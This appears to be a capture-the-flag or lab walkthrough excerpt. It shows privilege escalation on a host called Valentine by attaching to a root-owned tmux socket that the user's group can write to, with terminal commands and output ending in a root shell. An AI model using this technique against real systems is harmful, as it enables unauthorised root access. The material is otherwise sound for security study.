# check for running tmux session by root
hype@Valentine:~$ ps aux | grep tmux
root 1029 0.0 0.1 26416 1672 ? Ss 12:59 0:00 /usr/bin/tmux -S /.devs/dev_sess
hype 22736 0.0 0.0 13576 924 pts/0 S+ 13:50 0:00 grep --color=auto tmux
# can we write to that file - YES!
hype@Valentine:~$ ls -la /.devs/dev_sess
srw-rw---- 1 root hype 0 May 6 12:59 /.devs/dev_sess
hype@Valentine:~$ tmux -S /.devs/dev_sess
root@Valentine:/home/hype# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
[exited]